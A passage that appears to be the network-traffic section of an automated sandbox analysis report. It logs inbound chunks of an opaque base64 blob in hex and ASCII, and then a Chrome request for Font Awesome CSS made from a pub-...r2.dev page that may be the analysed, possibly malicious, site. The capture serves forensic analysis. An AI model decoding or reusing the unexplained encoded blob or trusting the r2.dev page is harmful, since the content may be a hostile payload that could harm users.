1fe88TmlVUWlPblNTMEhmUlBnOTZSbWNpcEkxbUtsWkJlQWREUTMzVnZ2TzNHWlVVRy9lWVk2NjBLclVMQzFLcnRvVSs2MXUzQS8zbDRPSCtsNy9BcHkvbG1DRDhjWFVIK1Zqek5ET3lDTm1SV2FUaEdia0Q0VUtUdmhEQXJnVENYeExjanRYckZPeVhNOVVZdUxLY1JuUWhLNFNJK0JmMnpDL29QKzhlbGxWempsYzB5UFc2QnB0S0k0S00r
2024-04-18 20:48:39 UTC	16384	IN	Data Raw: 4d 6a 42 4f 64 45 78 6b 65 6b 70 71 61 54 4a 6d 51 31 6c 42 61 57 4e 45 53 58 56 61 62 7a 52 55 59 6a 6c 78 63 47 52 6e 51 57 63 34 5a 57 78 42 55 6b 56 6a 61 32 35 5a 61 30 4e 6a 61 56 64 75 64 58 5a 51 62 6e 45 34 54 54 52 5a 5a 48 4d 7a 56 48 49 78 4d 48 45 78 63 48 67 30 54 30 39 44 52 6d 6f 76 52 33 59 79 4e 33 46 46 54 30 70 4c 57 56 5a 5a 65 56 64 6c 61 45 70 77 61 48 49 77 59 57 52 78 57 58 56 5a 4d 6a 6c 58 59 6b 64 56 62 30 46 68 57 6e 5a 76 4e 55 4e 69 55 54 45 35 61 31 4a 68 4d 45 39 68 62 7a 56 69 59 57 39 59 59 30 5a 46 64 55 52 73 56 33 4a 50 4f 45 39 49 59 32 74 7a 63 6b 4a 6a 4e 55 5a 77 57 6c 42 53 4c 32 70 7a 59 54 64 68 55 6a 4a 57 51 31 64 6f 4e 6a 4a 52 63 58 68 6c 64 46 68 50 65 56 70 6f 4e 46 42 71 59 55 38 34 64 30 4a 58 54 47 39 Data Ascii: MjBOdExkekpqaTJmQ1lBaWNESXVabzRUYjlxcGRnQWc4ZWxBUkVja25Za0NjaVdudXZQbnE4TTRZZHMzVHIxMHExcHg0T09DRmovR3YyN3FFT0pLWVZZeVdlaEpwaHIwYWRxWXVZMjlXYkdVb0FhWnZvNUNiUTE5a1JhME9hbzViYW9YY0ZFdURsV3JPOE9IY2tzckJjNUZwWlBSL2pzYTdhUjJWQ1doNjJRcXhldFhPeVpoNFBqYU84d0JXTG9
2024-04-18 20:48:39 UTC	16384	IN	Data Raw: 64 48 4a 4c 63 57 68 4d 5a 55 52 54 61 33 5a 4a 63 33 4e 44 61 6e 68 4e 62 54 41 33 62 45 52 51 61 31 55 35 63 55 56 7a 53 33 64 54 4c 32 56 79 55 57 52 6f 4f 53 39 4a 54 58 45 72 53 56 56 4c 4f 48 55 78 55 44 64 42 5a 55 46 51 4e 48 4e 34 62 33 4d 77 51 32 68 59 55 31 68 4f 4d 45 4e 46 5a 56 6c 72 4b 31 63 79 51 55 68 74 56 45 63 32 53 32 74 54 53 33 42 58 4e 6d 35 6f 62 30 4e 69 62 45 46 4b 53 54 6b 33 4e 33 70 4b 63 56 42 30 54 6c 4e 36 4d 47 31 57 63 6d 4e 4d 56 48 4a 4a 63 6b 63 34 65 6a 45 77 61 47 34 7a 54 6b 31 50 61 56 6c 6b 56 6c 70 54 53 6b 68 55 4d 47 64 54 57 58 70 72 62 54 56 57 62 6b 5a 72 64 57 63 77 4d 45 4a 75 62 45 59 34 54 44 52 55 5a 47 5a 70 57 57 5a 74 4e 32 49 33 63 46 46 6d 5a 6b 64 33 57 44 59 79 51 6d 6c 47 64 54 4a 31 4b 32 5a Data Ascii: dHJLcWhMZURTa3ZJc3NDanhNbTA3bERQa1U5cUVzS3dTL2VyUWRoOS9JTXErSVVLOHUxUDdBZUFQNHN4b3MwQ2hYU1hOMENFZVlrK1cyQUhtVEc2S2tTS3BXNm5ob0NibEFKSTk3N3pKcVB0TlN6MG1WcmNMVHJJckc4ejEwaG4zTk1PaVlkVlpTSkhUMGdTWXprbTVWbkZrdWcwMEJubEY4TDRUZGZpWWZtN2I3cFFmZkd3WDYyQmlGdTJ1K2Z
2024-04-18 20:48:39 UTC	16384	IN	Data Raw: 4f 55 6f 7a 53 55 35 6f 4d 31 6c 58 61 57 56 68 4e 30 35 59 52 30 6c 70 53 33 42 6a 63 69 73 79 51 6b 70 69 56 32 68 73 53 7a 4e 6d 59 7a 68 42 63 6d 4d 79 52 55 45 76 62 55 78 69 52 33 56 6b 57 45 52 68 59 31 49 72 53 6c 68 42 59 6e 70 4f 52 7a 55 32 61 55 46 32 4d 32 59 72 55 58 6c 30 4e 47 4a 55 61 31 5a 43 64 30 56 32 52 30 5a 6b 65 6e 68 6b 5a 33 56 75 62 31 4e 46 54 6d 70 57 62 6b 52 43 5a 47 64 50 57 6b 55 7a 52 47 68 42 4d 57 4e 57 55 58 42 4f 62 55 78 30 57 6b 56 69 61 54 52 4e 65 6d 70 4a 63 30 6c 77 63 54 63 7a 4d 58 64 4c 59 6c 6b 79 61 79 73 35 53 33 6c 57 5a 55 70 4d 52 54 63 76 4e 6c 4a 68 54 6e 4a 51 51 6b 64 69 62 6a 68 69 59 7a 4a 73 5a 32 74 7a 4b 33 4a 74 56 47 39 51 64 6d 64 68 51 30 70 54 62 44 46 70 56 53 39 33 57 58 68 49 62 56 6c Data Ascii: OUozSU5oM1lXaWVhN05YR0lpS3BjcisyQkpiV2hsSzNmYzhBcmMyRUEvbUxiR3VkWERhY1IrSlhBYnpORzU2aUF2M2YrUXl0NGJUa1ZCd0V2R0ZkenhkZ3Vub1NFTmpWbkRCZGdPWkUzRGhBMWNWUXBObUx0WkViaTRNempJc0lwcTczMXdLYlkyays5S3lWZUpMRTcvNlJhTnJQQkdibjhiYzJsZ2tzK3JtVG9QdmdhQ0pTbDFpVS93WXhIbVl
2024-04-18 20:48:39 UTC	16384	IN	Data Raw: 59 55 78 61 4e 6e 46 32 61 54 5a 34 54 48 70 36 53 47 67 34 4d 6e 64 36 63 7a 5a 61 56 33 49 72 55 45 49 31 4e 44 52 78 61 32 52 42 4d 55 5a 57 56 6e 52 32 63 48 70 6c 56 45 74 74 4f 43 74 55 52 44 64 45 51 6d 68 55 4d 32 4e 6d 63 7a 5a 47 61 6a 5a 33 54 6d 35 71 59 6e 63 72 4f 44 4a 78 62 55 74 73 4f 47 30 32 54 55 73 35 4f 44 6c 51 4d 6d 39 5a 57 54 46 52 52 6b 35 35 54 30 6b 77 5a 30 74 4a 61 57 67 34 57 45 6b 33 62 55 39 74 52 45 6c 71 63 6e 46 51 59 32 30 7a 5a 43 39 53 5a 56 64 4f 53 48 68 71 65 45 63 34 5a 30 4a 6e 62 30 64 75 5a 56 55 33 57 44 56 48 53 30 46 48 65 45 39 6c 61 48 42 6b 59 57 6c 74 4f 58 52 61 53 7a 4e 73 53 47 63 76 64 54 52 72 5a 6b 38 30 4d 7a 68 69 56 6b 6c 4b 55 6a 56 4d 62 69 39 50 52 6b 77 78 65 58 52 4c 55 32 6c 69 4e 54 68 Data Ascii: YUxaNnF2aTZ4THp6SGg4Mnd6czZaV3IrUEI1NDRxa2RBMUZWVnR2cHplVEttOCtURDdEQmhUM2NmczZGajZ3Tm5qYncrODJxbUtsOG02TUs5ODlQMm9ZWTFRRk55T0kwZ0tJaWg4WEk3bU9tRElqcnFQY20zZC9SZVdOSHhqeEc4Z0Jnb0duZVU3WDVHS0FHeE9laHBkYWltOXRaSzNsSGcvdTRrZk80MzhiVklKUjVMbi9PRkwxeXRLU2liNTh
2024-04-18 20:48:40 UTC	16384	IN	Data Raw: 63 6a 52 51 64 47 70 6d 64 45 6c 52 57 6b 68 7a 65 6d 78 75 5a 57 77 7a 53 6b 4a 35 5a 6a 52 55 55 56 64 46 51 53 74 75 57 57 38 30 57 47 70 54 5a 6c 5a 50 64 6d 56 47 4c 31 68 53 4d 6e 6b 78 55 6c 42 6d 65 54 41 33 54 48 52 4f 63 31 59 7a 65 53 74 4b 65 55 68 33 55 30 74 6d 61 30 5a 34 4d 48 56 61 51 33 51 31 63 45 56 78 4e 43 39 6e 4e 57 4a 4b 62 45 6c 4f 61 44 42 73 4d 6b 52 35 56 46 68 32 56 54 64 4b 62 47 39 79 61 30 5a 47 53 6e 4d 34 62 57 4a 6a 54 44 46 6e 5a 44 4a 77 65 45 31 71 56 55 39 47 62 30 64 6a 53 48 6b 30 5a 45 64 72 52 47 46 49 62 57 6f 35 65 57 56 7a 51 57 5a 70 4e 45 4e 32 4e 6a 4e 68 61 6a 52 68 64 47 77 77 64 48 5a 58 51 7a 4d 32 53 6b 56 47 62 45 4d 31 54 54 6c 70 57 6d 6c 53 54 45 46 6b 4d 55 56 50 5a 32 5a 7a 57 46 6c 6f 4e 47 56 Data Ascii: cjRQdGpmdElRWkhzemxuZWwzSkJ5ZjRUUVdFQStuWW80WGpTZlZPdmVGL1hSMnkxUlBmeTA3THROc1YzeStKeUh3U0tma0Z4MHVaQ3Q1cEVxNC9nNWJKbElOaDBsMkR5VFh2VTdKbG9ya0ZGSnM4bWJjTDFnZDJweE1qVU9Gb0djSHk0ZEdrRGFIbWo5eWVzQWZpNEN2NjNhajRhdGwwdHZXQzM2SkVGbEM1TTlpWmlSTEFkMUVPZ2ZzWFloNGV
2024-04-18 20:48:40 UTC	16384	IN	Data Raw: 61 7a 4d 79 4f 58 4a 57 4e 55 70 6a 4e 33 59 31 64 46 63 7a 57 6d 46 79 5a 57 5a 4c 53 6a 6c 49 55 30 52 52 53 47 35 6f 56 44 4d 77 65 6a 64 6f 51 6c 56 56 64 55 6c 42 57 6b 64 76 52 6b 74 48 65 6c 64 51 4d 79 74 6b 65 47 35 56 5a 58 59 31 61 45 4a 6d 53 47 68 31 4c 30 46 4e 55 57 5a 6b 52 48 68 4a 63 54 64 55 62 45 46 55 5a 58 64 4f 65 45 4a 46 4b 32 46 78 57 6e 42 53 55 7a 55 78 59 6d 39 50 52 47 4e 34 56 30 39 75 59 57 4e 35 54 44 42 35 64 58 68 4d 55 30 30 32 62 44 46 49 64 45 68 6d 55 57 39 35 65 58 6c 4b 4e 58 56 79 57 6b 56 6f 56 47 74 6a 5a 6b 5a 58 53 33 68 78 4c 32 6c 53 55 33 68 6a 62 48 4e 6b 63 45 39 6a 61 7a 42 33 5a 6b 56 77 4d 47 77 32 65 46 56 54 55 31 68 51 64 6e 4e 78 5a 32 5a 70 57 56 4d 72 57 48 4a 51 4d 6d 52 59 56 6c 4a 32 4e 33 42 Data Ascii: azMyOXJWNUpjN3Y1dFczWmFyZWZLSjlIU0RRSG5oVDMwejdoQlVVdUlBWkdvRktHeldQMytkeG5VZXY1aEJmSGh1L0FNUWZkRHhJcTdUbEFUZXdOeEJFK2FxWnBSUzUxYm9PRGN4V09uYWN5TDB5dXhMU002bDFIdEhmUW95eXlKNXVyWkVoVGtjZkZXS3hxL2lSU3hjbHNkcE9jazB3ZkVwMGw2eFVTU1hQdnNxZ2ZpWVMrWHJQMmRYVlJ2N3B
2024-04-18 20:48:40 UTC	16384	IN	Data Raw: 5a 58 46 71 4e 7a 46 76 64 6c 5a 4b 5a 47 6f 78 53 55 4e 6c 54 30 45 72 63 6d 4d 30 55 6e 5a 4e 55 44 46 44 4e 48 56 71 4d 54 46 50 65 6a 46 73 55 47 35 4f 61 45 4a 51 54 6b 78 6d 64 46 6c 70 59 6b 70 58 65 44 42 78 5a 6a 63 31 55 57 52 6e 4e 47 4e 36 64 31 4a 43 59 55 6c 4b 64 32 46 55 59 6d 74 51 63 54 4e 5a 4d 46 49 76 62 55 4e 79 63 6e 6c 30 51 6a 63 30 63 55 64 68 65 6b 70 47 56 46 45 30 52 48 56 6b 4d 56 52 45 59 33 68 54 62 31 4e 69 53 6e 52 70 61 6c 6c 75 56 6c 5a 59 4d 44 56 33 56 6b 46 69 5a 47 74 6c 63 46 59 7a 53 47 73 77 56 44 49 7a 57 47 64 4f 59 56 52 6d 62 55 59 32 54 6b 31 79 4b 7a 56 46 4d 44 4e 79 63 57 78 32 57 55 39 6b 4d 30 31 61 4b 79 39 48 56 48 70 4f 54 79 74 4c 62 58 64 7a 4c 33 49 30 64 6c 64 74 62 33 4a 72 56 55 78 43 4f 44 6c Data Ascii: ZXFqNzFvdlZKZGoxSUNlT0ErcmM0UnZNUDFDNHVqMTFPejFsUG5OaEJQTkxmdFlpYkpXeDBxZjc1UWRnNGN6d1JCYUlKd2FUYmtQcTNZMFIvbUNycnl0Qjc0cUdhekpGVFE0RHVkMVREY3hTb1NiSnRpalluVlZYMDV3VkFiZGtlcFYzSGswVDIzWGdOYVRmbUY2Tk1yKzVFMDNycWx2WU9kM01aKy9HVHpOTytLbXdzL3I0dldtb3JrVUxCODl
2024-04-18 20:48:40 UTC	16384	IN	Data Raw: 4e 30 68 4e 65 6d 46 34 56 58 46 61 51 6b 31 44 53 6b 64 45 52 30 5a 4c 4d 45 78 4f 63 47 64 36 4d 55 4e 44 63 54 64 6e 4d 6b 6c 46 53 48 49 79 4f 55 64 4e 57 55 63 79 5a 30 31 71 5a 7a 41 35 4e 57 68 6b 61 33 5a 53 4d 6c 45 77 59 58 6f 77 5a 32 35 75 64 33 68 45 4d 57 35 6f 65 43 39 4e 5a 44 4a 6a 5a 30 52 4d 51 7a 46 54 52 48 63 34 5a 7a 5a 50 54 7a 6b 78 52 6a 51 33 51 55 56 76 56 54 63 34 64 33 68 45 64 6b 5a 34 63 56 56 43 56 6d 63 30 51 7a 68 49 4f 46 4a 49 51 30 39 30 0d 0a 38 30 30 30 0d 0a 4d 6c 52 5a 59 30 5a 4f 57 48 68 53 4e 46 6c 4c 55 57 4a 31 51 58 5a 42 63 48 6b 34 64 47 46 74 63 31 52 57 55 55 46 6c 4c 7a 51 33 64 56 56 35 56 45 6c 6a 63 47 68 35 63 46 52 47 52 58 70 6f 63 44 42 55 4d 6b 30 79 65 47 6c 45 4d 7a 4d 77 53 58 6c 50 65 6d 6c Data Ascii: N0hNemF4VXFaQk1DSkdER0ZLMExOcGd6MUNDcTdnMklFSHIyOUdNWUcyZ01qZzA5NWhka3ZSMlEwYXowZ25ud3hEMW5oeC9NZDJjZ0RMQzFTRHc4ZzZPTzkxRjQ3QUVvVTc4d3hEdkZ4cVVCVmc0QzhIOFJIQ0908000MlRZY0ZOWHhSNFlLUWJ1QXZBcHk4dGFtc1RWUUFlLzQ3dVV5VEljcGh5cFRGRXpocDBUMk0yeGlEMzMwSXlPeml

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49739	104.17.24.14	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:41 UTC	668	OUT	GET /ajax/libs/font-awesome/4.7.0/css/font-awesome.css HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:41 UTC	941	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 20:48:41 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e5f-9226" Last-Modified: Mon, 04 May 2020 16:10:07 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 72742 Expires: Tue, 08 Apr 2025 20:48:41 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oiGHXFiTEHsVBszmFRjSQtEFmVCDLnQOfV1ex8gL20JZi8BydybAiWpqYT0c8v4qJ2zcKRXIZTAf1tvBeaLCtO0uPEt1jgzOkVZMnet7UStz0cbj%2F9IlwzkLakCnMdKb%2BfOUZNG2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 87678464eb79676b-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 20:48:41 UTC	428	IN	Data Raw: 37 63 30 32 0d 0a 2f 2a 21 0a 20 2a 20 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 34 2e 37 2e 30 20 62 79 20 40 64 61 76 65 67 61 6e 64 79 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 20 2d 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 0a 20 2a 20 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 2f 6c 69 63 65 6e 73 65 20 28 46 6f 6e 74 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 53 53 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 0a 2f 2a 20 46 4f 4e 54 20 50 41 54 48 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 41 77 65 73 Data Ascii: 7c02/! Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) // FONT PATH * -------------------------- */@font-face { font-family: 'FontAwes
2024-04-18 20:48:41 UTC	1369	IN	Data Raw: 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 77 6f 66 66 32 3f 76 3d 34 2e 37 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 77 6f 66 66 3f 76 3d 34 2e 37 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 2c 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 74 74 66 3f 76 3d 34 2e 37 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 74 72 75 65 74 79 70 65 27 29 2c 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 73 76 67 3f 76 3d 34 2e 37 2e 30 23 66 6f 6e 74 61 77 65 73 6f 6d 65 72 65 67 75 6c 61 72 27 29 20 66 6f 72 6d 61 74 28 27 Data Ascii: esome-webfont.woff2?v=4.7.0') format('woff2'), url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'), url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'), url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('
2024-04-18 20:48:41 UTC	1369	IN	Data Raw: 7d 0a 2f 2a 20 44 65 70 72 65 63 61 74 65 64 20 61 73 20 6f 66 20 34 2e 34 2e 30 20 2a 2f 0a 2e 70 75 6c 6c 2d 72 69 67 68 74 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 0a 7d 0a 2e 70 75 6c 6c 2d 6c 65 66 74 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 66 61 2e 70 75 6c 6c 2d 6c 65 66 74 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 2e 33 65 6d 3b 0a 7d 0a 2e 66 61 2e 70 75 6c 6c 2d 72 69 67 68 74 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2e 33 65 6d 3b 0a 7d 0a 2e 66 61 2d 73 70 69 6e 20 7b 0a 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 66 61 2d 73 70 69 6e 20 32 73 20 69 6e 66 69 6e 69 74 65 20 6c 69 6e 65 61 72 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 66 61 2d 73 70 69 6e 20 32 Data Ascii: }/* Deprecated as of 4.4.0 */.pull-right { float: right;}.pull-left { float: left;}.fa.pull-left { margin-right: .3em;}.fa.pull-right { margin-left: .3em;}.fa-spin { -webkit-animation: fa-spin 2s infinite linear; animation: fa-spin 2
2024-04-18 20:48:41 UTC	1369	IN	Data Raw: 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 30 2c 20 6d 69 72 72 6f 72 3d 31 29 22 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2d 31 2c 20 31 29 3b 0a 20 20 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2d 31 2c 20 31 29 3b 0a 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2d 31 2c 20 31 29 3b 0a 7d 0a 2e 66 61 2d 66 6c 69 70 2d 76 65 72 74 69 63 61 6c 20 7b 0a 20 20 2d 6d 73 2d 66 69 6c 74 65 72 3a 20 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 32 2c 20 6d Data Ascii: ogid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)"; -webkit-transform: scale(-1, 1); -ms-transform: scale(-1, 1); transform: scale(-1, 1);}.fa-flip-vertical { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, m
2024-04-18 20:48:41 UTC	1369	IN	Data Raw: 67 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 39 22 3b 0a 7d 0a 2e 66 61 2d 74 68 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 61 22 3b 0a 7d 0a 2e 66 61 2d 74 68 2d 6c 69 73 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 62 22 3b 0a 7d 0a 2e 66 61 2d 63 68 65 63 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 63 22 3b 0a 7d 0a 2e 66 61 2d 72 65 6d 6f 76 65 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 63 6c 6f 73 65 3a 62 65 66 6f 72 65 2c 0a 2e 66 61 2d 74 69 6d 65 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 64 22 3b 0a 7d 0a 2e 66 61 2d 73 65 61 72 63 68 2d 70 6c 75 73 3a 62 65 66 6f 72 Data Ascii: ge:before { content: "\f009";}.fa-th:before { content: "\f00a";}.fa-th-list:before { content: "\f00b";}.fa-check:before { content: "\f00c";}.fa-remove:before,.fa-close:before,.fa-times:before { content: "\f00d";}.fa-search-plus:befor
2024-04-18 20:48:41 UTC	1369	IN	Data Raw: 3a 20 22 5c 66 30 32 39 22 3b 0a 7d 0a 2e 66 61 2d 62 61 72 63 6f 64 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 61 22 3b 0a 7d 0a 2e 66 61 2d 74 61 67 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 62 22 3b 0a 7d 0a 2e 66 61 2d 74 61 67 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 63 22 3b 0a 7d 0a 2e 66 61 2d 62 6f 6f 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 64 22 3b 0a 7d 0a 2e 66 61 2d 62 6f 6f 6b 6d 61 72 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 65 22 3b 0a 7d 0a 2e 66 61 2d 70 72 69 6e 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 66 Data Ascii: : "\f029";}.fa-barcode:before { content: "\f02a";}.fa-tag:before { content: "\f02b";}.fa-tags:before { content: "\f02c";}.fa-book:before { content: "\f02d";}.fa-bookmark:before { content: "\f02e";}.fa-print:before { content: "\f02f
2024-04-18 20:48:41 UTC	1369	IN	Data Raw: 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 38 22 3b 0a 7d 0a 2e 66 61 2d 66 61 73 74 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 39 22 3b 0a 7d 0a 2e 66 61 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 61 22 3b 0a 7d 0a 2e 66 61 2d 70 6c 61 79 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 62 22 3b 0a 7d 0a 2e 66 61 2d 70 61 75 73 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 63 22 3b 0a 7d 0a 2e 66 61 2d 73 74 6f 70 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 34 64 22 3b 0a 7d 0a 2e Data Ascii: backward:before { content: "\f048";}.fa-fast-backward:before { content: "\f049";}.fa-backward:before { content: "\f04a";}.fa-play:before { content: "\f04b";}.fa-pause:before { content: "\f04c";}.fa-stop:before { content: "\f04d";}.
2024-04-18 20:48:41 UTC	1369	IN	Data Raw: 22 5c 66 30 36 37 22 3b 0a 7d 0a 2e 66 61 2d 6d 69 6e 75 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 38 22 3b 0a 7d 0a 2e 66 61 2d 61 73 74 65 72 69 73 6b 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 39 22 3b 0a 7d 0a 2e 66 61 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 63 69 72 63 6c 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 61 22 3b 0a 7d 0a 2e 66 61 2d 67 69 66 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 62 22 3b 0a 7d 0a 2e 66 61 2d 6c 65 61 66 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 36 63 22 3b 0a 7d 0a 2e 66 61 2d 66 69 72 65 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 Data Ascii: "\f067";}.fa-minus:before { content: "\f068";}.fa-asterisk:before { content: "\f069";}.fa-exclamation-circle:before { content: "\f06a";}.fa-gift:before { content: "\f06b";}.fa-leaf:before { content: "\f06c";}.fa-fire:before { conte
2024-04-18 20:48:41 UTC	1369	IN	Data Raw: 68 75 6d 62 73 2d 6f 2d 75 70 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 37 22 3b 0a 7d 0a 2e 66 61 2d 74 68 75 6d 62 73 2d 6f 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 38 22 3b 0a 7d 0a 2e 66 61 2d 73 74 61 72 2d 68 61 6c 66 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 39 22 3b 0a 7d 0a 2e 66 61 2d 68 65 61 72 74 2d 6f 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 61 22 3b 0a 7d 0a 2e 66 61 2d 73 69 67 6e 2d 6f 75 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 38 62 22 3b 0a 7d 0a 2e 66 61 2d 6c 69 6e 6b 65 64 69 6e 2d 73 71 75 61 72 65 3a 62 65 